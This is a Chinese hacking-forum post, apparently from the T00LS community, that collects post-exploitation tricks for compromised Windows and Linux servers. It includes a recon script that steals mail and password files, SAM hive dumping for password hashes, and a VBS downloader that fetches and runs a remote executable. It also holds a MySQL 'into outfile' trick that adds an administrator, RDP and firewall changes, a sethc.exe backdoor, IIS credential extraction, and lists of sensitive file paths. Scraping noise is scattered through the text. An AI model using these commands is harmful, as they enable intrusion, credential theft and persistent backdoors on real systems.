感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
: [8 M0 }$ G% M1 j2 Z注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
) {: W; I+ {  u/ i% g* J7 g}  
/ U& `& ~2 v* |7 Z0 w
% X% w0 A. X$ |- X提权先执行systeminfo
! W4 L) |* a, {  H0 ctoken 漏洞补丁号 KB956572
" I/ [0 ]; ]0 w, a0 z  OChurrasco          kb952004
命令行RAR打包~~·
/ X" H% j  ?6 O# nrar a -k -r -s -m3 c:\1.rar c:\folder
7 Y. t# C" T9 i% A" n+ m; C" E——————————————
# J2 B/ A0 W- g: m5 W8 @: \0 y2、收集系统信息的脚本  
$ ^: d# x) @' @- Bfor window：
7 ^& H' w$ _9 x6 j; ?- M' }
@echo off
, t. v( ^, b% X& Gecho #########system info collection
# i5 @+ p6 ~! e9 ]: Esysteminfo
ver
hostname
net user
+ O. g1 ]. C. Q, E+ g- Q, Vnet localgroup
, e4 V0 Y6 E, C0 ]2 \5 D; Lnet localgroup administrators
net user guest
net user administrator
5 j1 s$ i$ {7 P" v4 _: }
echo #######at- with   atq#####
6 L) p+ V3 h" ^) B) T; W: v3 e* Becho schtask /query

9 M* g9 ^  N, Y% u2 Yecho
echo ####task-list#############
tasklist /svc
8 j) q( G+ P8 J: s  Z; p# @echo
echo ####net-work infomation
ipconfig/all
route print
arp -a
9 o+ v6 O; ~6 M$ ~8 z& snetstat -anipconfig /displaydns
echo
7 L/ x- R) g, r* s( Secho #######service############
' Z' |. B4 Z' x' A& ksc query type= service state= all
; K+ o7 u* d' q' L' I- V- Zecho #######file-##############
cd \
( L) N3 D" B+ T) g8 |% ltree -F
' t- J& R3 o/ v* yfor linux：
- |7 n. M) Z, _: i, z* T
#!/bin/bash

( t$ X; P0 o4 B0 yecho #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
6 b, i9 J7 w  P8 ?% w$ |cat /proc/meminfo
echo
cat /proc/cpuinfo
echo
rpm -qa 2>/dev/null
! b1 y4 o3 p7 j% c) o1 }4 h######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null


: y5 e6 s8 i8 f2 }+ e0 \echo 'u'r id is' `id`
echo ###atq&crontab#####
3 b  }2 p; n7 |+ t# F  Z- |atq
8 t+ a- m! A2 [crontab -l
* A8 B; Y7 a- h! O  S! techo #####about var#####
: Z2 O( V" c. i) J' }set

echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
8 N  ]- \2 N9 f+ n9 S- Qcat /etc/hosts
hostname
ipconfig -a
arp -v
4 x1 ^# k+ F4 n$ I# ]echo ########user####
cat /etc/passwd|grep -i sh
- K) j% S8 Z  X+ B* _0 s
; g: ], B  ~8 ~" ?* oecho ######service####
& n  R! G: `$ P0 J! K" J: `chkconfig --list
" k# ]% b+ O+ d% a9 k9 L5 C6 h
for i in {oracle,mysql,tomcat,samba,apache,ftp}
$ _: U+ L. R! \' hcat /etc/passwd|grep -i $i
6 B% J; W3 e  d1 h7 ~" D& j' U( odone
! x; _* _0 }6 U# g/ L
locate passwd >/tmp/password 2>/dev/null
# z2 J% z' l; i4 E0 P2 ?- P& dsleep 5
locate password >>/tmp/password 2>/dev/null
sleep 5
7 M5 y) H6 X  w0 `locate conf >/tmp/sysconfig 2>dev/null
2 u- a& ~: m( u9 B' W. gsleep 5
6 E. V8 b4 p8 ?: q( G3 R& {/ Olocate config >>/tmp/sysconfig 2>/dev/null
5 n) N" y7 Q# U6 b- usleep 5

5 I& U6 w& z, |/ q1 @6 [###maybe can use "tree /"###
echo ##packing up#########
2 E7 z/ ^0 i9 t) k* Y; [; E* j* ~tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
) |& h0 E& s8 f0 ^4 ^3 a——————————————
. ^* J5 z& n; p# V3 R9 P3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
$ Q5 R$ E) O. {7 l/ ^' {               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
  }# |3 `5 i2 A5 }1 m6 {注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
2 ?0 }* V* d5 i' k3 Mhash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
" a0 E( V7 F; g5 H4 p  x$ C! t——————————————
4、vbs 下载者
1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
) {+ H7 B. m& X4 Necho sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
; p# [% K1 O3 ?  U( k2 o2 Z# x2 K9 Y/ Jecho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
8 J1 \% z+ c' m- t5 Kecho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
& }6 u$ E7 u6 H1 k& F! Tcftmon.vbs
5 Q$ A+ q% t6 p' ^+ v
. E  e7 |+ v- m" e2
0 H, O+ G: Z4 DOn Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
2 N/ x/ H+ i# Q2 c" H4 gs1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
) l3 k0 [7 d: i# G6 X4 o0 KSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
3 K; t, o9 }& WSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
2 V9 o3 K* R7 K6 ~* O5 UsGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
; f& H6 p8 R/ ?' }3 v6 X
+ _3 }8 K4 ?7 X& Dcscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
1 }. Z! I0 w4 V. P0 F——————————————————
: X3 R, F. B" n4 E2 a5、
1.查询终端端口
% b' C* I) v, a/ Z3 OREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2 c+ N9 d7 s0 w/ H! D& X! d2.开启XP&2003终端服务
. Q( Y# a* e  P. b0 d# c- V; z3 s, KREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
4 w4 j! M7 [/ ]' j" \3.更改终端端口为2008(0x7d8)
& l2 H2 ~7 Y6 ?1 L; q, I' sREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
, U7 T' w; w& NREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
' {! B0 F# T( y4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
6 q# w* {  Q0 ?2 y6 A  x  j$ p$ @————————————————
- ~  s: F& R7 z) q6、create table a (cmd text);
0 N% V: Q. b% V! O# h) Yinsert into a values ("set wshshell=createobject (""wscript.shell"")");
" w3 a7 J7 j, m2 Jinsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
, D- H9 {% g5 F3 z9 zinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
. I& ]) U2 m: U! r————————————————————
7 y& ^" y5 Q% p7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
8、for /d %i in (d:\freehost\*) do @echo %i

, H) b, N' Q0 o) G0 t' z, N列出d的所有目录
5 P1 Y6 ?0 B2 e, w9 Y7 k  
& v8 a, A1 Q* J$ |, {  for /d %i in (???) do @echo %i
/ B4 ]( x9 G" G, f6 X
把当前路径下文件夹的名字只有1-3个字母的打出来
* r: W! N' g5 B: ^- \
5 E' c% k+ l0 V. X& y5 T* j, F2.for /r %i in (*.exe) do @echo %i
  
( W8 n: K. C# {8 o) s6 J以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
$ H5 \3 i5 l( T9 X2 N' L  ?
4 B  a$ o' {4 E& X( B' p' Mfor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
2 Y2 F* {8 Z8 r0 }  o4 ^
3.for /f %i in (c:\1.txt) do echo %i
! S6 u0 K( i- s' F  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

- z' N) r6 Z; q. a8 t/ P+ z: x+ l7 h1 u4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
' ^0 a$ \, V1 ?" `——————————
●注册表:
1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.

3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

" S, R) y6 U* Z0 {% r) r5 g4.Radmin密码:
: `0 @! E3 ^5 P) sreg export HKLM\SYSTEM\RAdmin c:\a.reg
8 }% {, j& X- l; \& M
1 _8 S4 B( e: C* I# O! w5.禁用TCP/IP端口筛选(需重启):
) E6 o  p. l4 e* i% QREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
, o- @( s2 o$ Z% s
6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
netsh ipsec dynamic set config ipsecexempt value=0

7.停止指派策略"myipsec":
/ O/ A! B" T0 {( t" `* m3 |netsh ipsec static set policy name="myipsec" assign=n

* g  V  Z/ V1 }3 `8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

; Z" y5 \3 q% [9.另类方法抓系统密码HASH
  T7 U0 j5 m! h* z/ a7 preg save hklm\sam c:\sam.hive
- w' m1 `& U% ~9 v4 Areg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive
: v% n/ A# `: s' N1 W
10.shift映像劫持
* Y5 M$ D9 I4 w3 f5 @' Ureg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
; {. U# d8 [: B  v
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
) b* T6 [3 r. W* S) E. N-----------------------------------
( P% @7 w: X7 t; u; E# b0 ^" Y4 i星外vbs(注：测试通过，好东西）
, j6 {' p, M2 b5 ~Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
! `0 s7 `8 u% `childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
7 _9 F4 ?, X9 e. eif err.number<>0 then
, q7 X, ~4 k; S3 ?4 v3 k2 Cexit for
- x' k% n/ P. I4 r' R; {msgbox("error!")
: W9 _$ u+ f3 h6 H6 w' n; Lwscript.quit
end if
serverbindings=IIS.serverBindings
* g6 k& O2 ^3 {8 Z9 l& lServerComment=iis.servercomment
7 v5 c: K, T4 k7 w* l/ @* `2 m& P+ Lset IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
! D" O/ \3 l2 n- g$ r% Lpass=iisweb.AnonymousUserPass
2 V% d: C  b! f$ |path=IIsWeb.path
" x) T8 ]% M7 ~( t  [list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
/ V: w8 E/ q: O4 K; nNext
wscript.echo list
; b' o& m+ j: x1 @  t, s9 G' P: GSet ObjService=Nothing
( D7 V+ z/ E' u  W$ C1 Q. D* @6 owscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
复制代码
6 {5 M7 t" S( D3 Q2 a----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
' e3 l% A* n2 s9 D9 q0 K" E6 C5 c2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
! Y2 H! T* L5 Z<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
复制代码
" t/ D) t% m/ I+ W& R# z5 H然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
+ G( H0 U' k5 G8 G9 q. G/ s; aPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
; @) w' n+ N9 t* } 原因是ASP大马里有这样的代码：（没有就没事儿了）
6 t% r5 R8 d0 e+ u/ C url=request.severvariables("url")
! h) P$ D1 {3 U4 g4 _, @: i 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马
- X8 r9 A9 ~9 t% l7 S# l
9 M# T  D$ ~+ D: P3 Z' O2 |==============================================================
3 x& f+ q9 c9 j# ~* dLINUX常见路径：
5 b# q9 C) \9 d; v6 l
9 e$ [1 ?) i3 A/etc/passwd
/etc/shadow
  n  t# I% ~5 e/etc/fstab
0 ?$ e( }- |# k/etc/host.conf
7 g& p# j# j9 u/ ?/etc/motd
7 M8 j- D3 O: W$ ?+ @/etc/ld.so.conf
/var/www/htdocs/index.php
/ A0 u+ W; @" |. }1 g/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/httpd/conf/php.ini
! M' p6 c2 {7 N: A5 H1 @% W/var/httpd/htdocs/index.php
3 B! Z2 a4 A: ^; P  |" V/var/httpd/conf/httpd.conf
3 M# g1 y$ K% u; {. r. h/var/httpd/htdocs/index.html
/ ?9 b+ m# h  r- o& t/var/httpd/conf/php.ini
/var/www/index.html
3 l% w! P! M& K: P/var/www/index.php
3 h+ ?" L8 f! U/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
7 t5 [" y7 M5 q1 L6 r/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
; D: ]; Y# k, z8 K/usr/local/apache/htdocs/index.php
! g+ F# \( Q4 Q/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
) h9 D) K' O- p; x6 Y+ s$ X/usr/local/httpd2.2/htdocs/index.php
3 ]' X  u8 j3 f9 v+ Z& s% l9 a: T/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
* k* M+ U0 n; c) {  i: _/etc/httpd/htdocs/index.php
1 }( T$ L" |+ i& Y/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
8 Z  A( S, P# B- O4 v0 A' M' E/www/php/php.ini
/ N5 e1 v* F3 U2 K, R; A+ M/www/php4/php.ini
( B( ?. @; q- x; O" l( W/www/php5/php.ini
6 l3 S! z7 z. E7 P2 w- u/www/conf/httpd.conf
/www/htdocs/index.php
/www/htdocs/index.html
' ^. q8 n7 a1 D5 I/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
9 e. v, ^  L4 W! r% Q4 j' d, b/etc/apache/apache.conf
- j' g. {4 `# }/ ]/etc/apache2/apache.conf
/etc/apache/httpd.conf
5 D" I% |0 C2 G- }. f; }/etc/apache2/httpd.conf
/ S$ Z: f1 A; \0 W/etc/apache2/vhosts.d/00_default_vhost.conf
5 W( Z/ g  ]  x" V0 J8 E/etc/apache2/sites-available/default
& Z. U1 \! p& O) q, _2 R: n/etc/phpmyadmin/config.inc.php
* d. d) z. r6 {2 V  Z' ^/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
+ h  [* o% U  C+ o/etc/httpd/logs/error.log
, _( J5 g3 s1 H$ W/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
/ o0 f' {" [) d0 z5 m% Y/home/apache2/conf/httpd.conf
/var/log/apache/error_log
; j& ^& J* T: A& G% G/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
9 ?0 }7 p# s8 i7 |, v9 e# H( ?5 i/var/log/apache2/error.log
$ V7 [6 a  P9 w+ ~7 J/var/log/apache2/access_log
/var/log/apache2/access.log
3 h9 b5 R& v% {/var/www/logs/error_log
/var/www/logs/error.log
6 {& j% o2 c! Z/var/www/logs/access_log
" |; w" E% c# \9 W4 q6 P/var/www/logs/access.log
5 ?2 x% z7 E5 d' _7 z2 i/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
$ ?. E2 M: m) R; k  K# n/usr/local/apache/logs/access.log
  V/ I6 ], j. C2 e" @. C  L/var/log/error_log
* [/ v* Z" O7 w8 B/var/log/error.log
/var/log/access_log
, c1 w8 ^6 {1 f- n# n$ E% G5 L/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
/bin/php.ini
/etc/init.d/httpd
/etc/init.d/mysql
# @) o; x+ y; Z! t9 y' \/etc/httpd/php.ini
/usr/lib/php.ini
/ o6 o  P0 v; G1 H2 H+ @7 S/usr/lib/php/php.ini
" b) {, M7 D9 i# T$ D/ E$ B/usr/local/etc/php.ini
7 u$ l0 n( u: d; v/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
  q) r( h4 F" Q/usr/local/php4/lib/php.ini
3 s: O' K& r; ]2 O5 e8 C/usr/local/php4/php.ini
' ^; q, I" I. h& e! N/usr/local/php4/lib/php.ini
- h5 p, d' c9 F+ T6 t. y  \4 Q/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
9 y+ f3 M) [7 v/usr/local/apache/conf/httpd.conf
2 d/ e+ H- Q0 {! O) y) m/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
+ K, \* w  B$ G5 M8 x/etc/php4/apache/php.ini
1 v, T7 y! X1 H+ p7 H. V/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
* k; m" ]2 b# s1 c) q' ?/etc/php5/apache2/php.ini
6 O) `& J: a4 `( L+ }! j/etc/php/php.ini
/etc/php/php4/php.ini
1 i% D( V7 G9 g. h  }  y, m/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/web/conf/php.ini
# p$ ]! F: |3 n- J/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
& C. a" ^6 w/ c3 d1 R# x( j/var/local/www/conf/php.ini
7 p3 m' P  K+ n, P, Z  d9 a2 t/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
5 T% C( k, D6 a+ k; I, h/etc/php4/cgi/php.ini
' k3 n( P; Y& \: H/etc/php5/cgi/php.ini
- L( s* e  |2 ?$ a% i: s; o/php5/php.ini
/php4/php.ini
  p' J' N% h: i3 c1 g& ~3 L' i/php/php.ini
1 J$ o7 c6 A$ Q& K. u0 ~/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
+ g* n' Y* y" Z' m4 p* y! o/xampp/apache/conf/httpd.conf
. @% V. y2 l2 Q4 ^& b/ e/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
& y4 A& Q0 F* r/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
3 p0 H1 E7 J( c6 ?5 a( V/var/log/mysql.log
( }% g$ V9 `% F0 D/var/log/mysqlderror.log
. {$ e7 r* x# ~! d* K& Z' ?/var/log/mysql/mysql.log
) X$ L$ F8 @; O% ]( ^5 G" M/var/log/mysql/mysql-slow.log
/var/mysql.log
* z" @+ S( p, ^! O% \/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
& q" n/ q8 j# r8 Q% i1 K/etc/mysql/my.cnf
/etc/my.cnf
$ ?" v& U9 J0 q! S# ]/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
1 w. s8 V6 H, |+ f* Z& n+ }; K, R/usr/local/cpanel/logs/login_log
7 }) U4 V+ {, z/usr/local/cpanel/logs/stats_log
- o( z9 M) o' E- M- ~/ {/usr/local/share/examples/php4/php.ini
+ `0 c" q% O& c+ W; p/usr/local/share/examples/php/php.ini
+ V/ J' K& W) w% B; |4 i
2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

c:\windows\php.ini
c:\boot.ini
c:\1.txt
- a8 h5 m: g! N! _8 U5 ^. G1 Yc:\a.txt

c:\CMailServer\config.ini
7 E" k3 R7 Q: D+ cc:\CMailServer\CMailServer.exe
; H3 E! G! }3 V, yc:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
7 Y, S, t2 c8 kC:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
" n. b2 V7 n  J" o7 LC:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
! ~2 X+ I: a2 k: Y' LC:\WINDOWS\7i24tool.exe

6 h+ u5 ?) O  G' E) \0 s1 `c:\hzhost\databases\url.asp
+ \4 M6 ~6 |; C8 b7 W! G4 m! v
1 z) q$ {$ C8 t4 @c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
6 M  N5 H% N' @# r
C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
# M) _1 W/ Q# g- n9 D9 [* R* q, XC:\WINDOWS\web.config
5 l. y6 r7 e3 x$ L$ m: c8 Kc:\web\index.html
4 ]2 ]. K6 X2 m3 a$ u) Dc:\www\index.html
c:\WWWROOT\index.html
/ C1 x& r: I$ s& E3 N; Y. rc:\website\index.html
c:\web\index.asp
- S+ g" m/ O4 [c:\www\index.asp
c:\wwwsite\index.asp
c:\WWWROOT\index.asp
c:\web\index.php
& x; K1 @* z8 T1 H7 j# {- g0 Jc:\www\index.php
8 U5 I  g9 [8 [) oc:\WWWROOT\index.php
c:\WWWsite\index.php
c:\web\default.html
5 u& g* Z& c6 n* u- A0 C- |0 Jc:\www\default.html
) _8 Y/ }! C" H- nc:\WWWROOT\default.html
* x& k$ r9 ^. w* W& P) [c:\website\default.html
c:\web\default.asp
1 R2 ~9 |( }* k. g8 D8 ^+ h: }3 C" Pc:\www\default.asp
. Q, ~8 T. K" Y) N$ n/ f* Gc:\wwwsite\default.asp
4 S) _5 ]0 g' y6 l8 Rc:\WWWROOT\default.asp
2 i% \! r. W5 f0 D  Gc:\web\default.php
2 W0 M5 S* i: I- {- cc:\www\default.php
7 V  g) W, z& Z, Z3 S2 k0 n" `% _! [( Mc:\WWWROOT\default.php
# l0 n$ Q2 l1 i3 D% Hc:\WWWsite\default.php
, l4 V& l  i: o5 a2 q$ s: kC:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
c:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
+ k9 ^7 B$ r) c! p0 F, IC:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
# Y; i$ \+ k& D! ZC:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
c:\rising.ini
; B. V( b, m' M/ m+ N" hC:\Program Files\Rising\Rav\RsTask.xml
. T4 j+ _! x* I" \$ tC:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
6 p, B6 C4 y0 E: ~3 [C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
, j2 r$ _9 ]% Q0 p6 H5 O) W6 `C:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
& D7 b& w% X0 k0 t& o& S" s2 a. ^C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
; w5 d: S: N5 v6 UC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
# D0 j' U1 T' t5 x  i8 LC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
" Q4 \7 u+ L. x  K' GC:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
9 g( e* r" [2 j; @+ @" N$ N8 VC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
9 S8 t3 O9 n: C* I9 kC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
2 H1 z$ _5 d- D, L5 s0 w- N5 EC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
* v/ [- P/ g% j- i0 N8 h8 oC:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
8 n5 A' |: K4 x, j' {6 o3 y* cC:\Program Files\MySQL\MySQL Server 5.0\COPYING
# q' P8 C5 ~7 x5 FC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
9 c: j3 k% B/ r6 S9 q- _c:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
0 c& M" S3 h! Q& ZC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
8 G5 S( L$ v4 t1 @7 s6 j8 QC:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
7 ^  H/ D6 ~9 w4 d; i* d( Jc:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
8 M4 g; ]' ?; ?c:\tomcat6\bin\version.sh
; S# U4 L/ T* F. \c:\tomcat\bin\version.sh
/ }7 J6 ~. q+ D: U  x$ k* n' {% Fc:\program files\tomcat6\bin\version.sh
$ u( d9 _0 z1 ZC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
' ~( a, }3 n" d  E, lc:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
